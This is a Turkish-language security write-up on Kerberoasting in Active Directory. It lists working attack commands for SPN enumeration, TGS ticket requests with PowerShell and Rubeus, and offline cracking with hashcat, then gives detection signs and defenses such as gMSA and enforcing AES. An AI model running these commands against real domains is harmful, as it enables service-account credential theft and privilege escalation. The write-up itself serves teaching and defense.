Kerberoasting: Active Directory'de Sessiz Ayrıcalık Yükseltme
Service account parolalarını kırarak domain'de nasıl ilerlenir?
Kerberoasting, Active Directory ortamlarında service account parolalarını çevrimdışı kırmak için kullanılan klasik ama hâlâ etkili bir tekniktir. Bu write-up'ta saldırının nasıl çalıştığını, tespit yöntemlerini ve savunma önlemlerini adım adım inceliyoruz.
Kerberoasting Nedir?
Kerberoasting, Active Directory’de SPN (Service Principal Name) atanmış hesapların parolalarını çevrimdışı kırmaya dayalı bir saldırıdır. Düşük yetkili herhangi bir domain kullanıcısı bu saldırıyı başlatabilir — özel bir yetki gerekmez.
Mantık şu: Kerberos’ta bir servise erişmek için TGS (Ticket Granting Service) bileti istenir. Bu bilet, servis hesabının parola hash’i ile şifrelenir. Saldırgan bileti alır ve çevrimdışı olarak parolayı kırmaya çalışır — domain’e hiç gürültü yapmadan.
Saldırı Adımları
1. SPN’leri Listele
Domain’deki SPN atanmış hesapları bul:
setspn -T domain.local -Q */*
Veya PowerView ile:
Get-NetUser -SPN | select samaccountname, serviceprincipalname
2. TGS Biletlerini Talep Et
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql.domain.local:1433"
Veya Rubeus ile tek komutta:
Rubeus.exe kerberoast /outfile:hashes.txt
3. Çevrimdışı Kır
hashcat -m 13100 hashes.txt rockyou.txt
Service account’lar genelde yıllarca değişmeyen, zayıf parolalara sahip olduğu için başarı oranı yüksektir.
Neden Bu Kadar Etkili?
| Faktör | Açıklama |
|---|---|
| Düşük yetki yeterli | Herhangi bir domain kullanıcısı yapabilir |
| Çevrimdışı kırma | DC’de başarısız giriş logu oluşmaz |
| Zayıf parolalar | Service account’lar sık ihmal edilir |
| Yüksek ayrıcalık | Servis hesapları genelde geniş yetkili olur |
Tespit (Blue Team)
- Event ID 4769 — TGS bilet talepleri. Anormal hacimde talep, özellikle
RC4 (0x17)şifreleme tipi şüphelidir. - Tek bir hesaptan kısa sürede çok sayıda farklı SPN talebi.
- Honeypot SPN hesabı kurun — bu hesaba gelen her talep doğrudan alarmdır.
Savunma
- Managed Service Accounts (gMSA) kullanın — otomatik, 120 karakterlik karmaşık parolalar.
- Service account parolalarını uzun ve rastgele yapın (25+ karakter).
- Kerberos şifrelemesini AES‘e zorlayın, RC4’ü devre dışı bırakın.
- Service account’lara gereksiz ayrıcalık vermeyin (Domain Admin’den uzak tutun).
Sonuç
Kerberoasting eski bir teknik ama AD ortamlarında hâlâ en sık başarılı olan ayrıcalık yükseltme yöntemlerinden biri. Savunması basit — güçlü parola ve gMSA — ama uygulanmadığı her yerde kapı açık kalır.
Kaynakça
- MITRE ATT&CK. T1558.003 — Kerberoasting.
- Microsoft. Group Managed Service Accounts Overview.
Sen de yaz, arşivde yerini al
AltaySec Arşiv'e katkı ver — uzmanlığını Türkçe siber güvenlik literatürüne kat.
Yazar Ol